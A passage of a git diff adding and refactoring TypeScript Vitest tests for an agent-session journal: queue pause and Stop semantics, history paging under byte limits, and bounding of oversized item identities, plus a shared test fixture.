'stopped', { at: 1 }] + for (const value of malformed) { + await corrupted(fixture.userStop(journal), 'stopEvent', value) + expect(fixture.reason(journal)).toBeNull() + } + await fixture.userStop(journal) + for (const value of malformed) { + await corrupted(fixture.userStop(journal), 'stopEvent', value) + expect(fixture.reason(journal)).toBe('stopped') + } + await corrupted(journal.appendQueueResume(0), 'queueResume', 'yes') + expect(fixture.reason(journal)).toBe('stopped') + expect(fixture.held(journal)).toEqual([['held', true]]) + }) + + it("the queue's own consume is refused in its transaction while the pause holds the card; Send-now is not", async () => { + const journal = await fixture.open() + await fixture.queueDraft(journal, 'draft-1') + await fixture.userStop(journal) + const consume = (id: string, automatic: boolean) => + journal.appendSubmission( + { + clientMessageId: id, + payloadFingerprint: fixture.fingerprintOf('draft-1'), + body: fixture.message('draft-1'), + fence: 0, + handoverRecorded: true + }, + { + messageId: 'draft-1', + expect: 'waiting', + ...(automatic ? { yieldsToPause: true as const } : {}) + } + ) + await expect(consume('drain-1', true)).rejects.toBeInstanceOf(QueuedMessageNotConsumableError) + expect(journal.submission('drain-1')).toBeUndefined() + expect(journal.queuedMessages.get('draft-1')?.state).toBe('waiting') + await consume('send-now-1', false) + expect(journal.queuedMessages.get('draft-1')?.state).toBe('dispatched') + }) + + it("a rewind's epoch replacement restates a Stop still pausing, and not one a turn ended", async () => { + const journal = await fixture.open() + await fixture.userStop(journal) + await journal.replaceEpochItems('handle_forked', 0, []) + expect(fixture.reason(journal)).toBe('stopped') + await fixture.turn(journal, 'typed') + await journal.replaceEpochItems('handle_forked', 0, []) + expect(fixture.reason(journal)).toBeNull() + }) + + it("only a person's Stop pauses: a host's, a close's or an unknown reason holds nothing", async () => { + const journal = await fixture.open() + await fixture.queueDraft(journal, 'draft-1') + for (const reason of ['user-close', 'host-stop', 'evict'] as const) { + await journal.appendStopEvent({ reason }, 0) + } + // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: deliberately outside the type, as a newer build could write it. + await journal.appendStopEvent({ reason: 'future-reason' as 'evict' }, 0) + expect(fixture.reason(journal)).toBeNull() + }) + + it("a later Stop of any reason ends a person's Stop, without pausing itself", async () => { + const journal = await fixture.open() + await fixture.queueDraft(journal, 'draft-1') + for (const later of ['host-stop', 'evict', 'user-close'] as const) { + await fixture.userStop(journal) + expect(fixture.held(journal)).toEqual([['draft-1', true]]) + await journal.appendStopEvent({ reason: later }, 0) + expect(fixture.reason(journal)).toBeNull() + expect(fixture.held(journal)).toEqual([['draft-1', false]]) + } + }) + + it("a person's Stop with no later Stop event is not lifted", async () => { + const journal = await fixture.open() + await fixture.queueDraft(journal, 'held') + await fixture.userStop(journal) + // Eviction rows must describe ended work or they would incorrectly lift this pause. + expect(fixture.reason(journal)).toBe('stopped') + expect(fixture.held(journal)).toEqual([['held', true]]) + }) + + it('the restated Stop is the same event: its reason, turn, caller and time', async () => { + const journal = await fixture.open() + await journal.appendStopEvent({ reason: 'user-stop', turnId: 'turn-7', caller: 'phone' }, 0) + const stopped = fixture.stopEvents() + await journal.replaceEpochItems('handle_forked', 0, []) + expect(fixture.stopEvents()).toEqual(stopped) + expect(stopped).toEqual([ + { reason: 'user-stop', turnId: 'turn-7', caller: 'phone', at: expect.any(Number) } + ]) + }) + + it.each([ + ['an accepted turn', (journal: AgentSessionJournal) => fixture.turn(journal, 'typed')], + ['a Resume', (journal: AgentSessionJournal) => journal.appendQueueResume(0)] + ])('a /clear pause %s already lifted stays lifted across a rewind', async (_name, lift) => { + const journal = await fixture.open() + await fixture.queueDraft(journal, 'carried') + await fixture.clearContext(journal) + await lift(journal) + expect(fixture.reason(journal)).toBeNull() + await journal.replaceEpochItems('handle_forked', 0, []) + expect(fixture.reason(journal)).toBeNull() + }) + + it('a lifted /clear pause and a later Stop are both restated, the Stop still in force', async () => { + const journal = await fixture.open() + await fixture.queueDraft(journal, 'carried') + await fixture.clearContext(journal) + await fixture.turn(journal, 'typed') + await fixture.userStop(journal) + await journal.replaceEpochItems('handle_forked', 0, []) + expect(journal.queuedMessages.pauses().map((pause) => pause.reason)).toEqual(['stopped']) + await journal.appendQueueResume(0) + expect(fixture.reason(journal)).toBeNull() + }) + }) +} diff --git a/src/main/native-chat/agent-session-journal/queued-message-stored-row.ts b/src/main/native-chat/agent-session-journal/queued-message-stored-row.ts index fc3b8ba378c..cefa7f7c1c0 100644 --- a/src/main/native-chat/agent-session-journal/queued-message-stored-row.ts +++ b/src/main/native-chat/agent-session-journal/queued-message-stored-row.ts @@ -6,6 +6,10 @@ import { readAgentJournalMessageBody } from '../../../shared/agent-session-journ import { readStoredRejectionFact } from './journal-dispatch-reducer' import type { QueuedMessageRow } from './queued-message-table' import { readAgentSessionExecutionOptions } from '../../../shared/agent-session-execution-options' +import { storedMessageBody } from './journal-storage-schema' +import { storageVerdict, strictStorage } from './journal-storage-strict' + +const strictBody = strictStorage(storedMessageBody) export const LEGACY_QUEUED_MESSAGE_COLUMNS = 'message_id, position, body_json, fingerprint, state, hold_reason, returned_reason, returned_rejection, consumed_as, queued_epoch, queued_sequence, options_json' @@ -34,8 +38,10 @@ export function readStoredQueuedMessageRow(row: unknown): QueuedMessageRow | nul return null } const state = record.state + // A body key this build does not declare stays on disk with the card, never adopted without it. if ( readAgentJournalMessageBody(body) !== 'readable' || + storageVerdict(strictBody, body) === 'newer' || (state !== 'waiting' && state !== 'dispatched' && state !== 'returned' && state !== 'withdrawn') ) { return null diff --git a/src/main/native-chat/agent-session-wire/agent-session-history-batches.test.ts b/src/main/native-chat/agent-session-wire/agent-session-history-batches.test.ts new file mode 100644 index 00000000000..e1e740bdb44 --- /dev/null +++ b/src/main/native-chat/agent-session-wire/agent-session-history-batches.test.ts @@ -0,0 +1,210 @@ +import { mkdtemp, rm } from 'node:fs/promises' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { describe, expect, it } from 'vitest' +import { agentJournalSubmissionKey } from '../../../shared/agent-session-journal-item-key' +import type { + AgentJournalItemIdentity, + AgentJournalMessageItem +} from '../../../shared/agent-session-journal-types' +import { AGENT_JOURNAL_THREAD_SCOPE } from '../../../shared/agent-session-journal-types' +import { structuredAgentSessionPayloadFingerprint } from '../../../shared/structured-agent-session-mutation' +import { + closeTestJournalHostDatabase, + createTrackedJournalOpener +} from '../agent-session-journal/journal-host-database-test-support' +import { projectJournalBatch } from './agent-session-journal-batch' +import { readAgentSessionHistory } from './agent-session-history-page' + +import { + fixture, + IDENTITY, + appendItems, + body, + item, + tick +} from './agent-session-history-contract-test-fixture' + +const outcomeJournals = createTrackedJournalOpener() + +describe('projectJournalBatch', () => { + it('publishes every nested lifecycle mutation atomically at the outer cursor', async () => { + const turn: AgentJournalItemIdentity = { + provider: 'legacy', + agent: 'codex', + sessionId: 'session-1', + recordId: 'turn-lifecycle:turn-1' + } + await fixture.journal.appendItem( + turn, + { kind: 'status', text: 'working' }, + { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } + ) + const cursor = fixture.journal.cursor() + await fixture.journal.appendLifecycleBatch({ + settlementId: 'settlement-1', + fence: 1, + mutations: [ + { + kind: 'item', + identity: item(1), + body: body('one'), + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }, + { + kind: 'item', + identity: item(2), + body: body('two'), + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }, + { kind: 'tombstone', identity: turn } + ] + }) + + const page = readAgentSessionHistory(fixture.journal, { + sessionId: 'session-1', + direction: 'after', + cursor, + limit: 1 + }) + if (!page.ok) { + throw new Error(`expected a page, got reset ${page.reset}`) + } + expect(page.page.items.map((entry) => entry.body)).toEqual([body('one'), body('two')]) + expect(page.page.removedItemIds).toHaveLength(1) + expect(new Set(page.page.items.map((entry) => entry.sequence)).size).toBe(1) + + const tail = readAgentSessionHistory(fixture.journal, { + sessionId: 'session-1', + direction: 'tail', + limit: 1 + }) + if (!tail.ok) { + throw new Error(`expected a page, got reset ${tail.reset}`) + } + expect(tail.page.items.map((entry) => entry.body)).toEqual([body('one'), body('two')]) + }) + + it('accepts sparse outcome sequence groups', async () => { + // The shared fixture pins the input format; sparse groups exist only in an outcome epoch. + const root = await mkdtemp(join(tmpdir(), 'orca-history-outcomes-')) + const journal = await outcomeJournals.open({ + identity: IDENTITY, + stateDirectory: root, + now: tick + }) + try { + for (let ordinal = 1; ordinal <= 3; ordinal += 1) { + await journal.appendItem(item(ordinal), body(`item-${ordinal}`), { + fence: 1, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + } + const since = journal.readSince({ epoch: journal.epoch, sequence: 0 }) + if (!since.ok) { + throw new Error(`expected rows, got reset ${since.reset}`) + } + expect(since.rows.every((row) => row.kind === 'outcome')).toBe(true) + const withHole = since.rows.filter((row) => row.seq !== since.rows[1]?.seq) + expect( + projectJournalBatch({ rows: withHole, snapshot: journal.snapshot(), afterSequence: 0 }) + ).toMatchObject({ ok: true }) + } finally { + await journal.close() + await closeTestJournalHostDatabase(root) + await rm(root, { recursive: true, force: true }) + } + }) + + it('publishes touched items at their current reduced state, not as a delta', async () => { + await appendItems(1) + const cursor = fixture.journal.cursor() + await fixture.journal.appendItem(item(1), body('revised'), { + fence: 1, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + const since = fixture.journal.readSince(cursor) + if (!since.ok) { + throw new Error(`expected rows, got reset ${since.reset}`) + } + const projected = projectJournalBatch({ + rows: since.rows, + snapshot: fixture.journal.snapshot(), + afterSequence: cursor.sequence + }) + if (!projected.ok) { + throw new Error(`expected a batch, got reset ${projected.reset}`) + } + expect(projected.batch.items).toHaveLength(1) + expect(projected.batch.items[0]).toMatchObject({ body: body('revised'), revision: 2 }) + expect(projected.batch.cursor).toEqual(fixture.journal.cursor()) + }) + + it('lists a tombstoned item as removed', async () => { + await appendItems(1) + const cursor = fixture.journal.cursor() + await fixture.journal.appendTombstone(item(1), { fence: 1 }) + const since = fixture.journal.readSince(cursor) + if (!since.ok) { + throw new Error(`expected rows, got reset ${since.reset}`) + } + const projected = projectJournalBatch({ + rows: since.rows, + snapshot: fixture.journal.snapshot(), + afterSequence: cursor.sequence + }) + if (!projected.ok) { + throw new Error(`expected a batch, got reset ${projected.reset}`) + } + expect(projected.batch.removedItemIds).toHaveLength(1) + expect(projected.batch.items).toHaveLength(0) + }) + + it('publishes a mismatched provider echo under its submission slot', async () => { + const message: AgentJournalMessageItem = { + kind: 'message', + role: 'user', + blocks: [{ type: 'text', text: 'queued follow-up' }] + } + await fixture.journal.appendSubmission({ + clientMessageId: 'client-follow-up', + payloadFingerprint: structuredAgentSessionPayloadFingerprint({ + method: 'agentSession.send', + sessionId: IDENTITY.sessionId, + fields: { body: message } + }), + body: message, + fence: 1 + }) + const cursor = fixture.journal.cursor() + await fixture.journal.resolveDispatch({ + clientMessageId: 'client-follow-up', + state: 'accepted', + providerIdentity: { + provider: 'codex', + threadId: 'thread-1', + turnId: 'predicted', + ordinal: 0 + }, + fence: 1 + }) + await fixture.journal.appendItem( + { provider: 'codex', threadId: 'thread-1', turnId: 'root-turn', ordinal: 2 }, + message, + { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } + ) + + const page = readAgentSessionHistory(fixture.journal, { + sessionId: IDENTITY.sessionId, + direction: 'after', + cursor + }) + if (!page.ok) { + throw new Error(`expected a page, got reset ${page.reset}`) + } + expect(page.page.items).toMatchObject([ + { itemId: agentJournalSubmissionKey('client-follow-up'), revision: 1 } + ]) + expect(page.page.removedItemIds).toEqual([]) + }) +}) diff --git a/src/main/native-chat/agent-session-wire/agent-session-history-byte-limits.test.ts b/src/main/native-chat/agent-session-wire/agent-session-history-byte-limits.test.ts new file mode 100644 index 00000000000..b14576916ea --- /dev/null +++ b/src/main/native-chat/agent-session-wire/agent-session-history-byte-limits.test.ts @@ -0,0 +1,126 @@ +import { describe, expect, it } from 'vitest' +import { AGENT_JOURNAL_THREAD_SCOPE } from '../../../shared/agent-session-journal-types' +import { serializeRemoteRuntimePayload } from '../../../shared/remote-runtime/remote-runtime-memory-limits' +import { readAgentSessionHistory } from './agent-session-history-page' + +import { fixture, body, item } from './agent-session-history-contract-test-fixture' + +describe('history page byte ceiling', () => { + // Several legal messages exceed the 4 MiB outbound cap. + const LARGE_TEXT = 'x'.repeat(250 * 1024) + + async function appendLargeItems(count: number): Promise { + for (let ordinal = 1; ordinal <= count; ordinal += 1) { + await fixture.journal.appendItem(item(ordinal), body(`${ordinal}:${LARGE_TEXT}`), { + fence: 1, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + } + } + + function pageOf(result: ReturnType) { + if (!result.ok) { + throw new Error(`expected a page, got reset ${result.reset}`) + } + serializeRemoteRuntimePayload(result.page) + return result.page + } + + it('keeps a tail of legal large messages under the channel cap and still pages back to every item', async () => { + await appendLargeItems(20) + + const tail = pageOf( + readAgentSessionHistory(fixture.journal, { + sessionId: 'session-1', + direction: 'tail', + limit: 40 + }) + ) + expect(tail.items.length).toBeGreaterThan(0) + expect(tail.hasOlder).toBe(true) + + const seen = tail.items.map((entry) => entry.itemId) + let cursor = tail.window.nextCursor + let hasOlder = tail.hasOlder + let guard = 0 + while (hasOlder) { + guard += 1 + expect(guard).toBeLessThan(30) + const page = pageOf( + readAgentSessionHistory(fixture.journal, { + sessionId: 'session-1', + direction: 'before', + cursor, + limit: 40 + }) + ) + expect(page.items.length).toBeGreaterThan(0) + seen.push(...page.items.map((entry) => entry.itemId)) + cursor = page.window.nextCursor + hasOlder = page.hasOlder + } + expect(new Set(seen).size).toBe(20) + }) + + it('bounds a forward catch-up page by bytes and keeps replaying to the head', async () => { + const start = { epoch: fixture.journal.epoch, sequence: 0 } + await appendLargeItems(20) + + const first = pageOf( + readAgentSessionHistory(fixture.journal, { + sessionId: 'session-1', + direction: 'after', + cursor: start, + limit: 40 + }) + ) + expect(first.items.length).toBeGreaterThan(0) + expect(first.hasNewer).toBe(true) + + const seen = first.items.map((entry) => entry.itemId) + let cursor = first.window.nextCursor + let hasNewer = first.hasNewer + let guard = 0 + while (hasNewer) { + guard += 1 + expect(guard).toBeLessThan(30) + const page = pageOf( + readAgentSessionHistory(fixture.journal, { + sessionId: 'session-1', + direction: 'after', + cursor, + limit: 40 + }) + ) + expect(page.items.length).toBeGreaterThan(0) + seen.push(...page.items.map((entry) => entry.itemId)) + cursor = page.window.nextCursor + hasNewer = page.hasNewer + } + expect(new Set(seen).size).toBe(20) + }) + + it('sends a single over-budget item shortened and marked, never replaced', async () => { + await fixture.journal.appendItem(item(1), body(`1:${'y'.repeat(3 * 1024 * 1024)}`), { + fence: 1, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + + const tail = pageOf( + readAgentSessionHistory(fixture.journal, { + sessionId: 'session-1', + direction: 'tail', + limit: 40 + }) + ) + expect(tail.items).toHaveLength(1) + const sent = tail.items[0] + const text = + sent?.body.kind === 'message' && sent.body.blocks[0]?.type === 'text' + ? sent.body.blocks[0].text + : '' + expect(sent?.shortened).toBe(true) + expect(text.startsWith('1:yyy')).toBe(true) + expect(text.length).toBeLessThan(3 * 1024 * 1024) + }) +}) diff --git a/src/main/native-chat/agent-session-wire/agent-session-history-contract-test-fixture.ts b/src/main/native-chat/agent-session-wire/agent-session-history-contract-test-fixture.ts new file mode 100644 index 00000000000..7f36479ed85 --- /dev/null +++ b/src/main/native-chat/agent-session-wire/agent-session-history-contract-test-fixture.ts @@ -0,0 +1,148 @@ +import { mkdtemp, rm } from 'node:fs/promises' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { afterEach, beforeEach } from 'vitest' +import type { + AgentJournalItemBody, + AgentJournalItemIdentity, + AgentSessionJournalIdentity +} from '../../../shared/agent-session-journal-types' +import { + AGENT_JOURNAL_THREAD_SCOPE, + AGENT_SESSION_JOURNAL_SCHEMA_VERSION +} from '../../../shared/agent-session-journal-types' +import { serializeRemoteRuntimePayload } from '../../../shared/remote-runtime/remote-runtime-memory-limits' +import { + createTrackedJournalOpener, + openTestJournalHostDatabase, + insertTestJournalRow +} from '../agent-session-journal/journal-host-database-test-support' +import type { + JournalItemRow, + JournalRow, + JournalTombstoneRow +} from '../agent-session-journal/journal-row-schema' +import type { AgentSessionJournal } from '../agent-session-journal/journal-store' +import { codexProviderHandle } from '../../../shared/agent-session-provider-handle-encoding' + +export const IDENTITY: AgentSessionJournalIdentity = { + sessionId: 'session-1', + workspaceId: 'ws-1', + hostId: 'host-1', + agent: 'codex', + providerHandle: codexProviderHandle('thread-1') +} + +export const journals = createTrackedJournalOpener({ legacyInputs: true }) + +let root: string + +let clock = 1_000 + +let epochs = 0 + +let journal: AgentSessionJournal + +export function tick(): number { + clock += 1 + return clock +} + +export function item(ordinal: number): AgentJournalItemIdentity { + return { provider: 'codex', threadId: 'thread-1', turnId: 'turn-1', ordinal } +} + +export function body(text: string): AgentJournalItemBody { + return { kind: 'message', role: 'assistant', blocks: [{ type: 'text', text }] } +} + +export async function appendItems(count: number): Promise { + for (let ordinal = 1; ordinal <= count; ordinal += 1) { + await journal.appendItem(item(ordinal), body(`item-${ordinal}`), { + fence: 1, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + } +} + +beforeEach(async () => { + root = await mkdtemp(join(tmpdir(), 'orca-wire-history-')) + clock = 1_000 + epochs = 0 + journal = await journals.open({ + identity: IDENTITY, + stateDirectory: root, + now: tick, + mintEpoch: () => { + epochs += 1 + return `epoch-${epochs}` + } + }) +}) + +afterEach(async () => { + await journals.closeAll() + await rm(root, { recursive: true, force: true }) +}) + +export function serializedPageBytes(value: unknown): number { + return Buffer.byteLength(serializeRemoteRuntimePayload(value), 'utf8') +} + +export type RawSeedRow = + | Omit + | Omit + +/** Seed raw legacy rows, then reopen to exercise current read bounds. */ + +export async function reopenWithRawRows(rows: readonly RawSeedRow[]): Promise { + const full = rows.map( + (row) => + ({ + ...row, + v: AGENT_SESSION_JOURNAL_SCHEMA_VERSION, + epoch: journal.epoch, + fence: 1, + ts: tick() + }) as JournalRow + ) + await journal.close() + const opened = openTestJournalHostDatabase(root) + try { + opened.db.exec('BEGIN IMMEDIATE') + for (const row of full) { + insertTestJournalRow(opened.db, IDENTITY.sessionId, row) + } + opened.db.exec('COMMIT') + } finally { + await opened.close() + } + return journals.open({ identity: IDENTITY, stateDirectory: root, now: tick }) +} + +export const fixture = { + get clock() { + return clock + }, + set clock(value: typeof clock) { + clock = value + }, + get epochs() { + return epochs + }, + set epochs(value: typeof epochs) { + epochs = value + }, + get journal() { + return journal + }, + set journal(value: typeof journal) { + journal = value + }, + get root() { + return root + }, + set root(value: typeof root) { + root = value + } +} diff --git a/src/main/native-chat/agent-session-wire/agent-session-history-large-identities.test.ts b/src/main/native-chat/agent-session-wire/agent-session-history-large-identities.test.ts new file mode 100644 index 00000000000..80a239e8cdd --- /dev/null +++ b/src/main/native-chat/agent-session-wire/agent-session-history-large-identities.test.ts @@ -0,0 +1,199 @@ +import { describe, expect, it } from 'vitest' +import { boundJournalKeyComponent } from '../../../shared/agent-session-journal-item-key' +import type { AgentJournalItemIdentity } from '../../../shared/agent-session-journal-types' +import { AGENT_JOURNAL_THREAD_SCOPE } from '../../../shared/agent-session-journal-types' +import { REMOTE_RUNTIME_MAX_OUTBOUND_JSON_BYTES } from '../../../shared/remote-runtime/remote-runtime-memory-limits' +import { readAgentSessionHistory } from './agent-session-history-page' + +import { + fixture, + body, + reopenWithRawRows, + serializedPageBytes +} from './agent-session-history-contract-test-fixture' + +describe('pre-existing oversized identities', () => { + // Legacy oversized tombstone IDs cannot fit any outbound page. + const HUGE_ITEM_ID = `codex:thread-1:${'h'.repeat(5 * 1024 * 1024)}:1` + + it('answers an unfittable pre-existing removal with a bounded reset instead of an unsendable page', async () => { + const seq = fixture.journal.cursor().sequence + const reopened = await reopenWithRawRows([ + { kind: 'item', itemId: HUGE_ITEM_ID, revision: 1, seq: seq + 1, body: body('big') }, + { kind: 'tombstone', itemId: HUGE_ITEM_ID, revision: 2, seq: seq + 2 } + ]) + + for (const sequence of [seq, seq + 1]) { + const result = readAgentSessionHistory(reopened, { + sessionId: 'session-1', + direction: 'after', + cursor: { epoch: reopened.epoch, sequence }, + limit: 40 + }) + expect(result.ok).toBe(false) + if (result.ok) { + throw new Error('expected a reset') + } + expect(result.reset).toBe('cursor_compacted') + expect(serializedPageBytes(result.page)).toBeLessThanOrEqual( + REMOTE_RUNTIME_MAX_OUTBOUND_JSON_BYTES + ) + // Reset replaces client state without sending an unsendable removal ID. + expect(result.page.items).toEqual([]) + const liveCursor = result.page.liveCursor + if (!liveCursor) { + throw new Error('expected a live cursor on the reset page') + } + expect(liveCursor.sequence).toBeGreaterThanOrEqual(seq + 2) + + const resumed = readAgentSessionHistory(reopened, { + sessionId: 'session-1', + direction: 'after', + cursor: liveCursor, + limit: 40 + }) + expect(resumed.ok).toBe(true) + } + }) + + it('charges removal ids into the page budget and splits catch-up instead of overflowing', async () => { + const seq = fixture.journal.cursor().sequence + const removalIds = Array.from( + { length: 30 }, + (_, index) => `codex:thread-1:${'r'.repeat(250 * 1024)}:${index}` + ) + const reopened = await reopenWithRawRows( + removalIds.map((itemId, index) => ({ + kind: 'tombstone' as const, + itemId, + revision: 1, + seq: seq + 1 + index + })) + ) + + const seen = new Set() + let cursor = { epoch: reopened.epoch, sequence: seq } + let guard = 0 + while (true) { + guard += 1 + expect(guard).toBeLessThan(30) + const result = readAgentSessionHistory(reopened, { + sessionId: 'session-1', + direction: 'after', + cursor, + limit: 40 + }) + if (!result.ok) { + throw new Error(`expected a page, got reset ${result.reset}`) + } + expect(serializedPageBytes(result.page)).toBeLessThanOrEqual( + REMOTE_RUNTIME_MAX_OUTBOUND_JSON_BYTES + ) + for (const removed of result.page.removedItemIds) { + seen.add(removed) + } + cursor = result.page.window.nextCursor + if (!result.page.hasNewer) { + break + } + } + expect(seen).toEqual(new Set(removalIds)) + }) + + it('bounds the truncation marker id for a live oversized-id item', async () => { + const seq = fixture.journal.cursor().sequence + const reopened = await reopenWithRawRows([ + { kind: 'item', itemId: HUGE_ITEM_ID, revision: 1, seq: seq + 1, body: body('big') } + ]) + + const tail = readAgentSessionHistory(reopened, { + sessionId: 'session-1', + direction: 'tail', + limit: 40 + }) + if (!tail.ok) { + throw new Error(`expected a page, got reset ${tail.reset}`) + } + expect(serializedPageBytes(tail.page)).toBeLessThanOrEqual( + REMOTE_RUNTIME_MAX_OUTBOUND_JSON_BYTES + ) + expect(tail.page.items).toHaveLength(1) + const marker = tail.page.items[0] + expect(marker?.body.kind).toBe('status') + expect(marker?.itemId).toBe(boundJournalKeyComponent(HUGE_ITEM_ID)) + expect(marker?.itemId.length).toBeLessThan(2048) + + const forward = readAgentSessionHistory(reopened, { + sessionId: 'session-1', + direction: 'after', + cursor: { epoch: reopened.epoch, sequence: seq }, + limit: 40 + }) + if (!forward.ok) { + throw new Error(`expected a page, got reset ${forward.reset}`) + } + expect(serializedPageBytes(forward.page)).toBeLessThanOrEqual( + REMOTE_RUNTIME_MAX_OUTBOUND_JSON_BYTES + ) + expect(forward.page.items[0]?.itemId).toBe(boundJournalKeyComponent(HUGE_ITEM_ID)) + }) +}) + +describe('identity bounding at admission', () => { + it('bounds a new oversized provider identity so its item and removal share one sendable key', async () => { + const oversized: AgentJournalItemIdentity = { + provider: 'codex', + threadId: 'thread-1', + turnId: 'T'.repeat(5 * 1024 * 1024), + ordinal: 1 + } + const start = { epoch: fixture.journal.epoch, sequence: fixture.journal.cursor().sequence } + const appended = await fixture.journal.appendItem(oversized, body('bounded'), { + fence: 1, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + expect(appended.itemId.length).toBeLessThan(2048) + expect(appended.itemId).toContain('~orca-oversized~') + + const beforeTombstone = fixture.journal.cursor() + await fixture.journal.appendTombstone(oversized, { fence: 1 }) + + const created = readAgentSessionHistory(fixture.journal, { + sessionId: 'session-1', + direction: 'after', + cursor: start, + limit: 40 + }) + if (!created.ok) { + throw new Error(`expected a page, got reset ${created.reset}`) + } + expect(serializedPageBytes(created.page)).toBeLessThanOrEqual( + REMOTE_RUNTIME_MAX_OUTBOUND_JSON_BYTES + ) + expect(created.page.removedItemIds).toEqual([appended.itemId]) + + const removal = readAgentSessionHistory(fixture.journal, { + sessionId: 'session-1', + direction: 'after', + cursor: beforeTombstone, + limit: 40 + }) + if (!removal.ok) { + throw new Error(`expected a page, got reset ${removal.reset}`) + } + expect(serializedPageBytes(removal.page)).toBeLessThanOrEqual( + REMOTE_RUNTIME_MAX_OUTBOUND_JSON_BYTES + ) + expect(removal.page.removedItemIds).toEqual([appended.itemId]) + }) + + it('keeps bounded keys deterministic and a fixed point of re-derivation', () => { + const oversized = 'x'.repeat(2 * 1024 * 1024) + const bounded = boundJournalKeyComponent(oversized) + expect(bounded).toBe(boundJournalKeyComponent(oversized)) + expect(boundJournalKeyComponent(bounded)).toBe(bounded) + expect(bounded.length).toBeLessThan(2048) + expect(boundJournalKeyComponent(`${oversized}y`)).not.toBe(bounded) + expect(boundJournalKeyComponent('short')).toBe('short') + }) +}) diff --git a/src/main/native-chat/agent-session-wire/agent-session-history-page.test.ts b/src/main/native-chat/agent-session-wire/agent-session-history-page.test.ts index 42bf2fefec6..8904d93b663 100644 --- a/src/main/native-chat/agent-session-wire/agent-session-history-page.test.ts +++ b/src/main/native-chat/agent-session-wire/agent-session-history-page.test.ts @@ -1,39 +1,8 @@ -import { mkdtemp, rm } from 'node:fs/promises' -import { tmpdir } from 'node:os' -import { join } from 'node:path' -import { afterEach, beforeEach, describe, expect, it } from 'vitest' -import { - agentJournalSubmissionKey, - boundJournalKeyComponent -} from '../../../shared/agent-session-journal-item-key' -import type { - AgentJournalItemBody, - AgentJournalItemIdentity, - AgentJournalMessageItem, - AgentSessionJournalIdentity -} from '../../../shared/agent-session-journal-types' -import { - AGENT_JOURNAL_THREAD_SCOPE, - AGENT_SESSION_JOURNAL_SCHEMA_VERSION -} from '../../../shared/agent-session-journal-types' +import { describe, expect, it } from 'vitest' +import { agentJournalSubmissionKey } from '../../../shared/agent-session-journal-item-key' +import { AGENT_JOURNAL_THREAD_SCOPE } from '../../../shared/agent-session-journal-types' import { AGENT_SESSION_HISTORY_MAX_LIMIT } from '../../../shared/agent-session-wire' -import { - REMOTE_RUNTIME_MAX_OUTBOUND_JSON_BYTES, - serializeRemoteRuntimePayload -} from '../../../shared/remote-runtime/remote-runtime-memory-limits' -import { structuredAgentSessionPayloadFingerprint } from '../../../shared/structured-agent-session-mutation' -import { - createTrackedJournalOpener, - openTestJournalHostDatabase, - insertTestJournalRow -} from '../agent-session-journal/journal-host-database-test-support' -import type { - JournalItemRow, - JournalRow, - JournalTombstoneRow -} from '../agent-session-journal/journal-row-schema' -import type { AgentSessionJournal } from '../agent-session-journal/journal-store' -import { projectJournalBatch } from './agent-session-journal-batch' +import { openTestJournalHostDatabase } from '../agent-session-journal/journal-host-database-test-support' import { hostTestMessage } from './structured-agent-session-host-test-data' import { createAgentSessionCatchUpReader, @@ -44,63 +13,14 @@ import { readAgentSessionConversationOutline } from './agent-session-conversatio import { shortenedAgentJournalItem } from './agent-session-item-wire-form' import { firstStructuredChatNamingPrompt } from '../../../shared/structured-chat-naming-eligibility' import { structuredSessionGateFacts } from '../../runtime/orchestration/structured-session-pointer-delivery' -import { codexProviderHandle } from '../../../shared/agent-session-provider-handle-encoding' -const IDENTITY: AgentSessionJournalIdentity = { - sessionId: 'session-1', - workspaceId: 'ws-1', - hostId: 'host-1', - agent: 'codex', - providerHandle: codexProviderHandle('thread-1') -} - -const journals = createTrackedJournalOpener() -let root: string -let clock = 1_000 -let epochs = 0 -let journal: AgentSessionJournal - -function tick(): number { - clock += 1 - return clock -} - -function item(ordinal: number): AgentJournalItemIdentity { - return { provider: 'codex', threadId: 'thread-1', turnId: 'turn-1', ordinal } -} - -function body(text: string): AgentJournalItemBody { - return { kind: 'message', role: 'assistant', blocks: [{ type: 'text', text }] } -} - -async function appendItems(count: number): Promise { - for (let ordinal = 1; ordinal <= count; ordinal += 1) { - await journal.appendItem(item(ordinal), body(`item-${ordinal}`), { - fence: 1, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - } -} - -beforeEach(async () => { - root = await mkdtemp(join(tmpdir(), 'orca-wire-history-')) - clock = 1_000 - epochs = 0 - journal = await journals.open({ - identity: IDENTITY, - stateDirectory: root, - now: tick, - mintEpoch: () => { - epochs += 1 - return `epoch-${epochs}` - } - }) -}) - -afterEach(async () => { - await journals.closeAll() - await rm(root, { recursive: true, force: true }) -}) +import { + fixture, + IDENTITY, + appendItems, + body, + item +} from './agent-session-history-contract-test-fixture' describe('resolveHistoryLimit', () => { it('clamps rather than rejecting so a mid-scroll client keeps paging', () => { @@ -115,11 +35,15 @@ describe('resolveHistoryLimit', () => { describe('readAgentSessionHistory', () => { it('refreshes a retained catch-up reader after a same-cursor disk reload', async () => { const options = { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } - await journal.appendItem(item(0), { kind: 'turn', turnId: 'turn-1', state: 'running' }, options) - const view = journal.publicRead() + await fixture.journal.appendItem( + item(0), + { kind: 'turn', turnId: 'turn-1', state: 'running' }, + options + ) + const view = fixture.journal.publicRead() expect(view.snapshot.items).toHaveLength(1) - const cursor = journal.cursor() - const read = createAgentSessionCatchUpReader(journal, undefined, view) + const cursor = fixture.journal.cursor() + const read = createAgentSessionCatchUpReader(fixture.journal, undefined, view) const request = { sessionId: IDENTITY.sessionId, direction: 'after' as const, @@ -129,13 +53,12 @@ describe('readAgentSessionHistory', () => { ok: true, page: { items: [{ body: { state: 'running' } }], latestTurn: { turn: { state: 'running' } } } }) - openTestJournalHostDatabase(root) - .db.prepare( - "UPDATE journal_rows SET row_json = json_set(row_json, 